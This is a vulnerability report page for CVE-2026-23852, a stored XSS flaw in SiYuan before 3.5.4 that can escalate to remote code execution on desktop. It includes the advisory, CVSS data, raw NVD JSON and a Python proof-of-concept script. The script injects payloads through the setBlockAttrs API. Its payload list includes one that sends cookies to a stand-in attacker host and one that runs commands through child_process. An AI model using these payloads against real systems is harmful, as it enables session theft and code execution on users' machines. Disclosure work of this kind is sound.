Security Vulnerability Report
中文
CVE-2026-23852 CVSS 9.6 CRITICAL

CVE-2026-23852

Published: 2026-01-19 20:15:50
Last Modified: 2026-01-30 15:08:46

Description

SiYuan is a personal knowledge management system. Versions prior to 3.5.4 have a stored Cross-Site Scripting (XSS) vulnerability that allows an attacker to inject arbitrary HTML attributes into the `icon` attribute of a block via the `/api/attr/setBlockAttrs` API. The payload is later rendered in the dynamic icon feature in an unsanitized context, leading to stored XSS and, in the desktop environment, potential remote code execution (RCE). This issue bypasses the previous fix for issue `#15970` (XSS → RCE via dynamic icons). Version 3.5.4 contains an updated fix.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-23852 PoC - Stored XSS via setBlockAttrs API # Target: SiYuan < 3.5.4 TARGET_URL = "http://target:6806" API_SET_BLOCK_ATTRS = "/api/attr/setBlockAttrs" def exploit_xss(target_url, block_id, payload): """ Inject XSS payload into block's icon attribute block_id: Target block ID (e.g., 20230101120000-abcdefg) payload: Malicious HTML/JS payload for icon attribute """ endpoint = target_url + API_SET_BLOCK_ATTRS data = { "id": block_id, "attrs": { "icon": payload } } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=data, headers=headers) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("code") == 0: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when block is rendered") return response.json() except Exception as e: print(f"[-] Error: {e}") return None # Example payloads for RCE in desktop environment PAYLOADS = { "xss_basic": '<img src=x onerror=alert(document.cookie)>', "xss_steal_token": '<svg/onload=fetch("http://attacker/steal?c="+document.cookie)>', "desktop_rce": '<svg/onload="require(\'child_process\').exec(\'calc\')">' } if __name__ == "__main__": # Replace with actual block ID block_id = input("Enter block ID: ") # Use basic XSS payload exploit_xss(TARGET_URL, block_id, PAYLOADS["xss_basic"])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23852", "sourceIdentifier": "[email protected]", "published": "2026-01-19T20:15:49.803", "lastModified": "2026-01-30T15:08:46.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Versions prior to 3.5.4 have a stored Cross-Site Scripting (XSS) vulnerability that allows an attacker to inject arbitrary HTML attributes into the `icon` attribute of a block via the `/api/attr/setBlockAttrs` API. The payload is later rendered in the dynamic icon feature in an unsanitized context, leading to stored XSS and, in the desktop environment, potential remote code execution (RCE). This issue bypasses the previous fix for issue `#15970` (XSS → RCE via dynamic icons). Version 3.5.4 contains an updated fix."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. Las versiones anteriores a la 3.5.4 tienen una vulnerabilidad de cross-site scripting (XSS) almacenado que permite a un atacante inyectar atributos HTML arbitrarios en el atributo 'icon' de un bloque a través de la API '/api/attr/setBlockAttrs'. La carga útil se renderiza posteriormente en la función de icono dinámico en un contexto no saneado, lo que lleva a XSS almacenado y, en el entorno de escritorio, a una posible ejecución remota de código (RCE). Este problema elude la corrección anterior para el problema '#15970' (XSS ? RCE a través de iconos dinámicos). La versión 3.5.4 contiene una corrección actualizada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.4", "matchCriteriaId": "D3F308D6-1396-4488-9382-0EE485C9289C"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/commit/0be7e1d4e0da9aac0da850b7aeb9b50ede7e5bdb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-7c6g-g2hx-23vv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Patch"]}]}}